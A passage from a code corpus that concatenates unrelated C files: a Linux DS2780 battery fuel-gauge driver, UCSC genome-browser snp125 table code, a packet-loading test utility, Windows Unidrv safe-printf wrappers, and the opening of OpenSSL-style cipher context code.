static ssize_t ds2780_get_pmod_enabled(struct device *dev,
struct device_attribute *attr,
char *buf)
{
int ret;
u8 control_reg;
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
/* Get power mode */
ret = ds2780_get_control_register(dev_info, &control_reg);
if (ret < 0)
return ret;
return sprintf(buf, "%d\n",
!!(control_reg & DS2780_CONTROL_REG_PMOD));
}
static ssize_t ds2780_set_pmod_enabled(struct device *dev,
struct device_attribute *attr,
const char *buf,
size_t count)
{
int ret;
u8 control_reg, new_setting;
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
/* Set power mode */
ret = ds2780_get_control_register(dev_info, &control_reg);
if (ret < 0)
return ret;
ret = kstrtou8(buf, 0, &new_setting);
if (ret < 0)
return ret;
if ((new_setting != 0) && (new_setting != 1)) {
dev_err(dev_info->dev, "Invalid pmod setting (0 or 1)\n");
return -EINVAL;
}
if (new_setting)
control_reg |= DS2780_CONTROL_REG_PMOD;
else
control_reg &= ~DS2780_CONTROL_REG_PMOD;
ret = ds2780_set_control_register(dev_info, control_reg);
if (ret < 0)
return ret;
return count;
}
static ssize_t ds2780_get_sense_resistor_value(struct device *dev,
struct device_attribute *attr,
char *buf)
{
int ret;
u8 sense_resistor;
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
ret = ds2780_read8(dev_info, &sense_resistor, DS2780_RSNSP_REG);
if (ret < 0)
return ret;
ret = sprintf(buf, "%d\n", sense_resistor);
return ret;
}
static ssize_t ds2780_set_sense_resistor_value(struct device *dev,
struct device_attribute *attr,
const char *buf,
size_t count)
{
int ret;
u8 new_setting;
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
ret = kstrtou8(buf, 0, &new_setting);
if (ret < 0)
return ret;
ret = ds2780_set_sense_register(dev_info, new_setting);
if (ret < 0)
return ret;
return count;
}
static ssize_t ds2780_get_rsgain_setting(struct device *dev,
struct device_attribute *attr,
char *buf)
{
int ret;
u16 rsgain;
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
ret = ds2780_get_rsgain_register(dev_info, &rsgain);
if (ret < 0)
return ret;
return sprintf(buf, "%d\n", rsgain);
}
static ssize_t ds2780_set_rsgain_setting(struct device *dev,
struct device_attribute *attr,
const char *buf,
size_t count)
{
int ret;
u16 new_setting;
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
ret = kstrtou16(buf, 0, &new_setting);
if (ret < 0)
return ret;
/* Gain can only be from 0 to 1.999 in steps of .001 */
if (new_setting > 1999) {
dev_err(dev_info->dev, "Invalid rsgain setting (0 - 1999)\n");
return -EINVAL;
}
ret = ds2780_set_rsgain_register(dev_info, new_setting);
if (ret < 0)
return ret;
return count;
}
static ssize_t ds2780_get_pio_pin(struct device *dev,
struct device_attribute *attr,
char *buf)
{
int ret;
u8 sfr;
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
ret = ds2780_read8(dev_info, &sfr, DS2780_SFR_REG);
if (ret < 0)
return ret;
ret = sprintf(buf, "%d\n", sfr & DS2780_SFR_REG_PIOSC);
return ret;
}
static ssize_t ds2780_set_pio_pin(struct device *dev,
struct device_attribute *attr,
const char *buf,
size_t count)
{
int ret;
u8 new_setting;
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
ret = kstrtou8(buf, 0, &new_setting);
if (ret < 0)
return ret;
if ((new_setting != 0) && (new_setting != 1)) {
dev_err(dev_info->dev, "Invalid pio_pin setting (0 or 1)\n");
return -EINVAL;
}
ret = ds2780_write(dev_info, &new_setting,
DS2780_SFR_REG, sizeof(u8));
if (ret < 0)
return ret;
return count;
}
static ssize_t ds2780_read_param_eeprom_bin(struct file *filp,
struct kobject *kobj,
struct bin_attribute *bin_attr,
char *buf, loff_t off, size_t count)
{
struct device *dev = container_of(kobj, struct device, kobj);
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
return ds2780_read_block(dev_info, buf,
DS2780_EEPROM_BLOCK1_START + off, count);
}
static ssize_t ds2780_write_param_eeprom_bin(struct file *filp,
struct kobject *kobj,
struct bin_attribute *bin_attr,
char *buf, loff_t off, size_t count)
{
struct device *dev = container_of(kobj, struct device, kobj);
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
int ret;
ret = ds2780_write(dev_info, buf,
DS2780_EEPROM_BLOCK1_START + off, count);
if (ret < 0)
return ret;
ret = ds2780_save_eeprom(dev_info, DS2780_EEPROM_BLOCK1_START);
if (ret < 0)
return ret;
return count;
}
static struct bin_attribute ds2780_param_eeprom_bin_attr = {
.attr = {
.name = "param_eeprom",
.mode = S_IRUGO | S_IWUSR,
},
.size = DS2780_PARAM_EEPROM_SIZE,
.read = ds2780_read_param_eeprom_bin,
.write = ds2780_write_param_eeprom_bin,
};
static ssize_t ds2780_read_user_eeprom_bin(struct file *filp,
struct kobject *kobj,
struct bin_attribute *bin_attr,
char *buf, loff_t off, size_t count)
{
struct device *dev = container_of(kobj, struct device, kobj);
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
return ds2780_read_block(dev_info, buf,
DS2780_EEPROM_BLOCK0_START + off, count);
}
static ssize_t ds2780_write_user_eeprom_bin(struct file *filp,
struct kobject *kobj,
struct bin_attribute *bin_attr,
char *buf, loff_t off, size_t count)
{
struct device *dev = container_of(kobj, struct device, kobj);
struct power_supply *psy = to_power_supply(dev);
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
int ret;
ret = ds2780_write(dev_info, buf,
DS2780_EEPROM_BLOCK0_START + off, count);
if (ret < 0)
return ret;
ret = ds2780_save_eeprom(dev_info, DS2780_EEPROM_BLOCK0_START);
if (ret < 0)
return ret;
return count;
}
static struct bin_attribute ds2780_user_eeprom_bin_attr = {
.attr = {
.name = "user_eeprom",
.mode = S_IRUGO | S_IWUSR,
},
.size = DS2780_USER_EEPROM_SIZE,
.read = ds2780_read_user_eeprom_bin,
.write = ds2780_write_user_eeprom_bin,
};
static DEVICE_ATTR(pmod_enabled, S_IRUGO | S_IWUSR, ds2780_get_pmod_enabled,
ds2780_set_pmod_enabled);
static DEVICE_ATTR(sense_resistor_value, S_IRUGO | S_IWUSR,
ds2780_get_sense_resistor_value, ds2780_set_sense_resistor_value);
static DEVICE_ATTR(rsgain_setting, S_IRUGO | S_IWUSR, ds2780_get_rsgain_setting,
ds2780_set_rsgain_setting);
static DEVICE_ATTR(pio_pin, S_IRUGO | S_IWUSR, ds2780_get_pio_pin,
ds2780_set_pio_pin);
static struct attribute *ds2780_sysfs_attrs[] = {
&dev_attr_pmod_enabled.attr,
&dev_attr_sense_resistor_value.attr,
&dev_attr_rsgain_setting.attr,
&dev_attr_pio_pin.attr,
NULL
};
static struct bin_attribute *ds2780_sysfs_bin_attrs[] = {
&ds2780_param_eeprom_bin_attr,
&ds2780_user_eeprom_bin_attr,
NULL
};
static const struct attribute_group ds2780_sysfs_group = {
.attrs = ds2780_sysfs_attrs,
.bin_attrs = ds2780_sysfs_bin_attrs,
};
static const struct attribute_group *ds2780_sysfs_groups[] = {
&ds2780_sysfs_group,
NULL,
};
static int ds2780_battery_probe(struct platform_device *pdev)
{
struct power_supply_config psy_cfg = {};
struct ds2780_device_info *dev_info;
dev_info = devm_kzalloc(&pdev->dev, sizeof(*dev_info), GFP_KERNEL);
if (!dev_info)
return -ENOMEM;
platform_set_drvdata(pdev, dev_info);
dev_info->dev = &pdev->dev;
dev_info->w1_dev = pdev->dev.parent;
dev_info->bat_desc.name = dev_name(&pdev->dev);
dev_info->bat_desc.type = POWER_SUPPLY_TYPE_BATTERY;
dev_info->bat_desc.properties = ds2780_battery_props;
dev_info->bat_desc.num_properties = ARRAY_SIZE(ds2780_battery_props);
dev_info->bat_desc.get_property = ds2780_battery_get_property;
psy_cfg.drv_data = dev_info;
psy_cfg.attr_grp = ds2780_sysfs_groups;
dev_info->bat = devm_power_supply_register(&pdev->dev,
&dev_info->bat_desc,
&psy_cfg);
if (IS_ERR(dev_info->bat)) {
dev_err(dev_info->dev, "failed to register battery\n");
return PTR_ERR(dev_info->bat);
}
return 0;
}
static struct platform_driver ds2780_battery_driver = {
.driver = {
.name = "ds2780-battery",
},
.probe = ds2780_battery_probe,
};
module_platform_driver(ds2780_battery_driver);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Clifton Barnes <[email protected]>");
MODULE_DESCRIPTION("Maxim/Dallas DS2780 Stand-Alone Fuel Gauge IC driver");
MODULE_ALIAS("platform:ds2780-battery");
|
724905.c | /* snp125.c was originally generated by the autoSql program, which also
* generated snp125.h and snp125.sql. This module links the database and
* the RAM representation of objects. */
#include "common.h"
#include "linefile.h"
#include "dystring.h"
#include "jksql.h"
#include "snp125.h"
static char const rcsid[] = "$Id: snp125.c,v 1.20 2008/03/06 06:40:29 angie Exp $";
void snp125StaticLoad(char **row, struct snp125 *ret)
/* Load a row from snp125 table into ret. The contents of ret will
* be replaced at the next call to this function. */
{
ret->chrom = row[0];
ret->chromStart = sqlUnsigned(row[1]);
ret->chromEnd = sqlUnsigned(row[2]);
ret->name = row[3];
ret->score = sqlUnsigned(row[4]);
ret->strand = row[5];
ret->refNCBI = row[6];
ret->refUCSC = row[7];
ret->observed = row[8];
ret->molType = row[9];
ret->class = row[10];
ret->valid = row[11];
ret->avHet = atof(row[12]);
ret->avHetSE = atof(row[13]);
ret->func = row[14];
ret->locType = row[15];
ret->weight = sqlUnsigned(row[16]);
}
struct snp125 *snp125Load(char **row)
/* Load a snp125 from row fetched with select * from snp125
* from database. Dispose of this with snp125Free(). */
{
struct snp125 *ret;
AllocVar(ret);
ret->chrom = cloneString(row[0]);
ret->chromStart = sqlUnsigned(row[1]);
ret->chromEnd = sqlUnsigned(row[2]);
ret->name = cloneString(row[3]);
ret->score = sqlUnsigned(row[4]);
ret->strand = cloneString(row[5]);
ret->refNCBI = cloneString(row[6]);
ret->refUCSC = cloneString(row[7]);
ret->observed = cloneString(row[8]);
ret->molType = cloneString(row[9]);
ret->class = cloneString(row[10]);
ret->valid = cloneString(row[11]);
ret->avHet = atof(row[12]);
ret->avHetSE = atof(row[13]);
ret->func = cloneString(row[14]);
ret->locType = cloneString(row[15]);
ret->weight = sqlUnsigned(row[16]);
return ret;
}
struct snp125 *snp125LoadAll(char *fileName)
/* Load all snp125 from a whitespace-separated file.
* Dispose of this with snp125FreeList(). */
{
struct snp125 *list = NULL, *el;
struct lineFile *lf = lineFileOpen(fileName, TRUE);
char *row[17];
while (lineFileRow(lf, row))
{
el = snp125Load(row);
slAddHead(&list, el);
}
lineFileClose(&lf);
slReverse(&list);
return list;
}
struct snp125 *snp125LoadAllByChar(char *fileName, char chopper)
/* Load all snp125 from a chopper separated file.
* Dispose of this with snp125FreeList(). */
{
struct snp125 *list = NULL, *el;
struct lineFile *lf = lineFileOpen(fileName, TRUE);
char *row[17];
while (lineFileNextCharRow(lf, chopper, row, ArraySize(row)))
{
el = snp125Load(row);
slAddHead(&list, el);
}
lineFileClose(&lf);
slReverse(&list);
return list;
}
struct snp125 *snp125CommaIn(char **pS, struct snp125 *ret)
/* Create a snp125 out of a comma separated string.
* This will fill in ret if non-null, otherwise will
* return a new snp125 */
{
char *s = *pS;
if (ret == NULL)
AllocVar(ret);
ret->chrom = sqlStringComma(&s);
ret->chromStart = sqlUnsignedComma(&s);
ret->chromEnd = sqlUnsignedComma(&s);
ret->name = sqlStringComma(&s);
ret->score = sqlUnsignedComma(&s);
ret->strand = sqlStringComma(&s);
ret->refNCBI = sqlStringComma(&s);
ret->refUCSC = sqlStringComma(&s);
ret->observed = sqlStringComma(&s);
ret->molType = sqlStringComma(&s);
ret->class = sqlStringComma(&s);
ret->valid = sqlStringComma(&s);
ret->avHet = sqlFloatComma(&s);
ret->avHetSE = sqlFloatComma(&s);
ret->func = sqlStringComma(&s);
ret->locType = sqlStringComma(&s);
ret->weight = sqlUnsignedComma(&s);
*pS = s;
return ret;
}
void snp125Free(struct snp125 **pEl)
/* Free a single dynamically allocated snp125 such as created
* with snp125Load(). */
{
struct snp125 *el;
if ((el = *pEl) == NULL) return;
freeMem(el->chrom);
freeMem(el->name);
freeMem(el->strand);
freeMem(el->refNCBI);
freeMem(el->refUCSC);
freeMem(el->observed);
freeMem(el->molType);
freeMem(el->class);
freeMem(el->valid);
freeMem(el->func);
freeMem(el->locType);
freez(pEl);
}
void snp125FreeList(struct snp125 **pList)
/* Free a list of dynamically allocated snp125's */
{
struct snp125 *el, *next;
for (el = *pList; el != NULL; el = next)
{
next = el->next;
snp125Free(&el);
}
*pList = NULL;
}
void snp125Output(struct snp125 *el, FILE *f, char sep, char lastSep)
/* Print out snp125. Separate fields with sep. Follow last field with lastSep. */
{
if (sep == ',') fputc('"',f);
fprintf(f, "%s", el->chrom);
if (sep == ',') fputc('"',f);
fputc(sep,f);
fprintf(f, "%u", el->chromStart);
fputc(sep,f);
fprintf(f, "%u", el->chromEnd);
fputc(sep,f);
if (sep == ',') fputc('"',f);
fprintf(f, "%s", el->name);
if (sep == ',') fputc('"',f);
fputc(sep,f);
fprintf(f, "%u", el->score);
fputc(sep,f);
if (sep == ',') fputc('"',f);
fprintf(f, "%s", el->strand);
if (sep == ',') fputc('"',f);
fputc(sep,f);
if (sep == ',') fputc('"',f);
fprintf(f, "%s", el->refNCBI);
if (sep == ',') fputc('"',f);
fputc(sep,f);
if (sep == ',') fputc('"',f);
fprintf(f, "%s", el->refUCSC);
if (sep == ',') fputc('"',f);
fputc(sep,f);
if (sep == ',') fputc('"',f);
fprintf(f, "%s", el->observed);
if (sep == ',') fputc('"',f);
fputc(sep,f);
if (sep == ',') fputc('"',f);
fprintf(f, "%s", el->molType);
if (sep == ',') fputc('"',f);
fputc(sep,f);
if (sep == ',') fputc('"',f);
fprintf(f, "%s", el->class);
if (sep == ',') fputc('"',f);
fputc(sep,f);
if (sep == ',') fputc('"',f);
fprintf(f, "%s", el->valid);
if (sep == ',') fputc('"',f);
fputc(sep,f);
fprintf(f, "%g", el->avHet);
fputc(sep,f);
fprintf(f, "%g", el->avHetSE);
fputc(sep,f);
if (sep == ',') fputc('"',f);
fprintf(f, "%s", el->func);
if (sep == ',') fputc('"',f);
fputc(sep,f);
if (sep == ',') fputc('"',f);
fprintf(f, "%s", el->locType);
if (sep == ',') fputc('"',f);
fputc(sep,f);
fprintf(f, "%u", el->weight);
fputc(lastSep,f);
}
/* -------------------------------- End autoSql Generated Code -------------------------------- */
void snp125TableCreate(struct sqlConnection *conn, char *tableName)
/* create a snp125 table */
{
char *createString =
"CREATE TABLE %s (\n"
" bin smallint(5) unsigned not null,\n"
" chrom varchar(15) not null,\n"
" chromStart int(10) unsigned not null,\n"
" chromEnd int(10) unsigned not null,\n"
" name varchar(15) not null,\n"
" score smallint(5) unsigned not null,\n"
" strand enum('?','+','-') default '?' not null,\n"
" refNCBI blob not null,\n"
" refUCSC blob not null,\n"
" observed varchar(255) not null,\n"
" molType enum('unknown', 'genomic', 'cDNA') DEFAULT 'unknown' not null,\n"
" class enum('unknown', 'single', 'in-del', 'het', 'microsatellite',"
" 'named', 'no var', 'mixed', 'mnp', 'insertion', 'deletion') \n"
" DEFAULT 'unknown' NOT NULL,\n"
" valid set('unknown', 'by-frequency', 'by-cluster', 'by-submitter', \n"
" 'by-2hit-2allele', 'by-hapmap') \n"
" DEFAULT 'unknown' NOT NULL,\n"
" avHet float not null,\n"
" avHetSE float not null,\n"
" func set( 'unknown', 'locus', 'coding', 'coding-synon', 'coding-nonsynon', \n"
" 'untranslated', 'intron','splice-site', 'cds-reference') \n"
" DEFAULT 'unknown' NOT NULL,\n"
" locType enum ('unknown', 'range', 'exact', 'between',\n"
" 'rangeInsertion', 'rangeSubstitution', 'rangeDeletion') DEFAULT 'unknown' NOT NULL\n,"
" weight int not null\n"
")\n";
struct dyString *dy = newDyString(1024);
dyStringPrintf(dy, createString, tableName);
sqlRemakeTable(conn, tableName, dy->string);
dyStringFree(&dy);
}
int snp125Cmp(const void *va, const void *vb)
{
const struct snp125 *a = *((struct snp125 **)va);
const struct snp125 *b = *((struct snp125 **)vb);
int dif;
dif = strcmp(a->chrom, b->chrom);
if (dif == 0)
dif = a->chromStart - b->chromStart;
return dif;
}
/* Additional function for extended processing */
struct snp125Extended *snp125ExtendedLoad(char **row)
/* Load a snp125 from row fetched with select * from snp125
* from database. Additional fields are for run-time calculations */
{
struct snp125Extended *ret;
AllocVar(ret);
ret->chrom = cloneString(row[0]);
ret->chromStart = sqlUnsigned(row[1]);
ret->chromEnd = sqlUnsigned(row[2]);
ret->name = cloneString(row[3]);
ret->score = sqlUnsigned(row[4]);
ret->strand = cloneString(row[5]);
ret->refNCBI = cloneString(row[6]);
ret->refUCSC = cloneString(row[7]);
ret->observed = cloneString(row[8]);
ret->molType = cloneString(row[9]);
ret->class = cloneString(row[10]);
ret->valid = cloneString(row[11]);
ret->avHet = atof(row[12]);
ret->avHetSE = atof(row[13]);
ret->func = cloneString(row[14]);
ret->locType = cloneString(row[15]);
ret->weight = sqlUnsigned(row[16]);
ret->nameExtra = cloneString("");
ret->color = 0;
return ret;
}
struct snp125Extended *snpExtendedLoad(char **row)
/* Load a snp125 from row fetched with select * from snp125
* from database. Additional fields are for run-time calculations */
{
struct snp125Extended *ret;
AllocVar(ret);
ret->chrom = cloneString(row[0]);
ret->chromStart = sqlUnsigned(row[1]);
ret->chromEnd = sqlUnsigned(row[2]);
ret->name = cloneString(row[3]);
ret->score = sqlUnsigned(row[4]);
ret->strand = cloneString(row[5]);
ret->observed = cloneString(row[6]);
ret->molType = cloneString(row[7]);
ret->class = cloneString(row[8]);
ret->valid = cloneString(row[9]);
ret->avHet = atof(row[10]);
ret->avHetSE = atof(row[11]);
ret->func = cloneString(row[12]);
ret->locType = cloneString(row[13]);
ret->refNCBI = NULL;
ret->refUCSC = NULL;
ret->weight = 0;
ret->nameExtra = cloneString("");
ret->color = 0;
return ret;
}
int snpVersion(char *track)
/* If track starts with snpNNN where NNN is 125 or later, return the number;
* otherwise return 0. */
{
int version = 0;
if ( startsWith("snp", track) && strlen(track) >= 6 &&
isdigit(track[3]) && isdigit(track[4]) && isdigit(track[5]) &&
atoi(track+3) >= 125 )
version = atoi(track+3);
return version;
}
|
202596.c | #include <stdio.h>
#include <stdint.h>
#include <string.h>
#define AW (8)
#define BUFLEN (1<<(AW))
int16_t host_mem[BUFLEN];
/* Real-life packets can have embedded nuls, but just use
* ASCII strings for these tests */
static void load_packet(const char s[], unsigned int base)
{
size_t sl = strlen(s);
unsigned ix=base+1;
int16_t word=0;
host_mem[base] = sl;
for (unsigned jx=0; jx<sl; jx++) {
// Little-endian; see big_endian parameter in test_tx_mac.
word = (s[jx]<<8) | (word>>8);
if (jx&1) {
host_mem[ix++] = word;
if (ix >= BUFLEN) ix=0;
word = 0;
}
}
if (sl&1) host_mem[ix] = word>>8;
}
int main(void)
{
FILE *f = fopen("host_mem", "w");
{
// Base address also hard-coded in test_tx_tb.v
load_packet("Hello World\n", 0);
load_packet("The quick red fox\n", 30);
load_packet("All good men should come to the aid\n", 60);
// Strings need to match those in test_tx.gold
}
if (f) {
for (unsigned jx=0; jx<BUFLEN; jx++) {
fprintf(f, "%4.4x\n", host_mem[jx]);
}
}
return 0;
}
|
919994.c |
/*++
Copyright (c) 1996 Microsoft Corporation
Module Name:
crtlib.c
Abstract:
This module has support some C run Time functions which are not
supported in KM.
Environment:
Win32 subsystem, Unidrv driver
Revision History:
01/03/97 -ganeshp-
Created it.
dd-mm-yy -author-
description
--*/
#include "precomp.h"
/*++
Routine Name:
iDrvPrintfSafeA
Routine Description:
This is a safer version of sprintf/iDrvPrintfA.
It utilizes the StringCchPrintf in the
strsafe.h library. sprintf returns the number of characters copied to the
destination string, but StringCchPrintf doesn't.
Note: May not compile/work if WINNT_40 switch turned on. But since
we are not supporting NT4 anymore, we should be ok.
Arguments:
pszDest : Destination string.
cchDest : Number of characters in the destination string. Since this is the ANSI version
number of chars = num of bytes.
pszFormat : e.g. "PP%d,%d"
... : The variable list of arguments
Return Value:
Negative : if some error encountered.
Positive : Number of characters copied.
0 : i.e. no character copied.
Author:
-hsingh- 2/21/2002
Revision History:
-hsingh- 2/21/2002 Created this function.
--*/
INT iDrvPrintfSafeA (
IN PCHAR pszDest,
IN CONST ULONG cchDest,
IN CONST PCHAR pszFormat,
IN ...)
{
va_list args;
INT icchWritten = (INT)-1;
va_start(args, pszFormat);
icchWritten = iDrvVPrintfSafeA ( pszDest, cchDest, pszFormat, args);
va_end(args);
return icchWritten;
}
/*++
Routine Name:
iDrvPrintfSafeW
Routine Description:
This is a safer version of sprintf/iDrvPrintfW.
It utilizes the StringCchPrintf in the
strsafe.h library. sprintf returns the number of characters copied to the
destination string, but StringCchPrintf doesn't.
Note: May not compile/work if WINNT_40 switch turned on. But since
we are not supporting NT4 anymore, we should be ok.
Arguments:
pszDest : Destination string.
cchDest : Number of characters in the destination string. Since this is the UNICODE version
the size of buffer is twice the number of characters.
pszFormat : e.g. "PP%d,%d"
... : The variable list of arguments
Return Value:
Negative : if some error encountered.
Positive : Number of characters copied.
0 : i.e. no character copied.
Author:
-hsingh- 2/21/2002
Revision History:
-hsingh- 2/21/2002 Created this function.
--*/
INT iDrvPrintfSafeW (
IN PWCHAR pszDest,
IN CONST ULONG cchDest,
IN CONST PWCHAR pszFormat,
IN ...)
{
va_list args;
INT icchWritten = (INT)-1;
va_start(args, pszFormat);
icchWritten = iDrvVPrintfSafeW (pszDest, cchDest, pszFormat, args);
va_end(args);
return icchWritten;
}
INT iDrvVPrintfSafeA (
IN PCHAR pszDest,
IN CONST ULONG cchDest,
IN CONST PCHAR pszFormat,
IN va_list arglist)
{
HRESULT hr = S_FALSE;
INT icchWritten = (INT)-1;
size_t cchRemaining = cchDest;
//
// Since return value is a signed integer, but cchDest is unsigned.
// cchDest can be atmost MAX_ULONG but return can be atmost MAX_LONG.
// So make sure that input buffer is not more than MAX_LONG (LONG is
// virtually same as INT)
//
if ( cchDest > (ULONG) MAX_LONG )
{
return icchWritten;
}
hr = StringCchVPrintfExA (pszDest, cchDest, NULL, &cchRemaining, 0, pszFormat, arglist);
if (SUCCEEDED (hr) )
{
//
// Subtracting the number of characters remaining in the string
// from the number of characters originally present give us the number
// of characters written.
//
icchWritten = (INT)(cchDest - cchRemaining);
}
return icchWritten;
}
INT iDrvVPrintfSafeW (
IN PWCHAR pszDest,
IN CONST ULONG cchDest,
IN CONST PWCHAR pszFormat,
IN va_list arglist)
{
HRESULT hr = S_FALSE;
INT icchWritten = (INT)-1;
size_t cchRemaining = cchDest;
//
// Since return value is a signed integer, but cchDest is unsigned.
// cchDest can be atmost MAX_ULONG but return can be atmost MAX_LONG.
// So make sure that input buffer is not more than MAX_LONG (LONG is
// virtually same as INT)
//
if ( cchDest > (ULONG) MAX_LONG )
{
return icchWritten;
}
hr = StringCchVPrintfExW (pszDest, cchDest, NULL, &cchRemaining, 0, pszFormat, arglist);
if (SUCCEEDED (hr) )
{
//
// Subtracting the number of characters remaining in the string
// from the number of characters originally present give us the number
// of characters written.
//
icchWritten = (INT)(cchDest - cchRemaining);
}
return icchWritten;
}
|
682132.c | /* Copyright (C) 1995-1998 Eric Young ([email protected])
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young ([email protected]).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson ([email protected]).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young ([email protected])"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson ([email protected])"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.] */
#include <openssl/cipher.h>
#include <assert.h>
#include <string.h>
#include <openssl/err.h>
#include <openssl/mem.h>
#include <openssl/nid.h>
#include "internal.h"
const EVP_CIPHER *EVP_get_cipherbynid(int nid) {
switch (nid) {
case NID_rc2_cbc:
return EVP_rc2_cbc();
case NID_rc2_40_cbc:
return EVP_rc2_40_cbc();
case NID_des_ede3_cbc:
return EVP_des_ede3_cbc();
case NID_des_ede_cbc:
return EVP_des_cbc();
case NID_aes_128_cbc:
return EVP_aes_128_cbc();
case NID_aes_192_cbc:
return EVP_aes_192_cbc();
case NID_aes_256_cbc:
return EVP_aes_256_cbc();
default:
return NULL;
}
}
void EVP_CIPHER_CTX_init(EVP_CIPHER_CTX *ctx) {
memset(ctx, 0, sizeof(EVP_CIPHER_CTX));
}
EVP_CIPHER_CTX *EVP_CIPHER_CTX_new(void) {
EVP_CIPHER_CTX *ctx = OPENSSL_malloc(sizeof(EVP_CIPHER_CTX));
if (ctx) {
EVP_CIPHER_CTX_init(ctx);
}
return ctx;
}
int EVP_CIPHER_CTX_cleanup(EVP_CIPHER_CTX *c) {
if (c->cipher != NULL) {
if (c->cipher->cleanup) {
c->cipher->cleanup(c);
}
OPENSSL_cleanse(c->cipher_data, c->cipher->ctx_size);
}
OPENSSL_free(c->cipher_data);
memset(c, 0, sizeof(EVP_CIPHER_CTX));
return 1;
}
void EVP_CIPHER_CTX_free(EVP_CIPHER_CTX *ctx) {
if (ctx) {
EVP_CIPHER_CTX_cleanup(ctx);
OPENSSL_free(ctx);
}
}
int EVP_CIPHER_CTX_copy(EVP_CIPHER_CTX *out, const EVP_CIPHER_CTX *in) {
if (in == NULL || in->cipher == NULL) {
OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_INPUT_NOT_INITIALIZED);
return 0;
}
EVP_CIPHER_CTX_cleanup(out);
memcpy(out, in, sizeof(EVP_CIPHER_CTX));
if (in->cipher_data && in->cipher->ctx_size) {
out->cipher_data = OPENSSL_malloc(in->cipher->ctx_size);
if (!out->cipher_data) {
OPENSSL_PUT_ERROR(CIPHER, ERR_R_MALLOC_FAILURE);
return 0;
}
memcpy(out->cipher_data, in->cipher_data, in->cipher->ctx_size);
}
if (in->cipher->flags & EVP_CIPH_CUSTOM_COPY) {
return in->cipher->ctrl((EVP_CIPHER_CTX *)in, EVP_CTRL_COPY, 0, out);
}
return 1;
}
int EVP_CipherInit_ex(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *cipher,
ENGINE *engine, const uint8_t *key, const uint8_t *iv,
int enc) {
if (enc == -1) {
enc = ctx->encrypt;
} else {
if (enc) {
enc = 1;
}
ctx->encrypt = enc;
}
if (cipher) {
/* Ensure a context left from last time is cleared (the previous check
* attempted to avoid this if the same ENGINE and EVP_CIPHER could be
* used). */
if (ctx->cipher) {
EVP_CIPHER_CTX_cleanup(ctx);
/* Restore encrypt and flags */
ctx->encrypt = enc;
}
ctx->cipher = cipher;
if (ctx->cipher->ctx_size) {
ctx->cipher_data = OPENSSL_malloc(ctx->cipher->ctx_size);
if (!ctx->cipher_data) {
ctx->cipher = NULL;
OPENSSL_PUT_ERROR(CIPHER, ERR_R_MALLOC_FAILURE);
return 0;
}
} else {
ctx->cipher_data = NULL;
}
ctx->key_len = cipher->key_len;
ctx->flags = 0;
if (ctx->cipher->flags & EVP_CIPH_CTRL_INIT) {
if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_INIT, 0, NULL)) {
ctx->cipher = NULL;
OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_INITIALIZATION_ERROR);
return 0;
}
}
} else if (!ctx->cipher) {
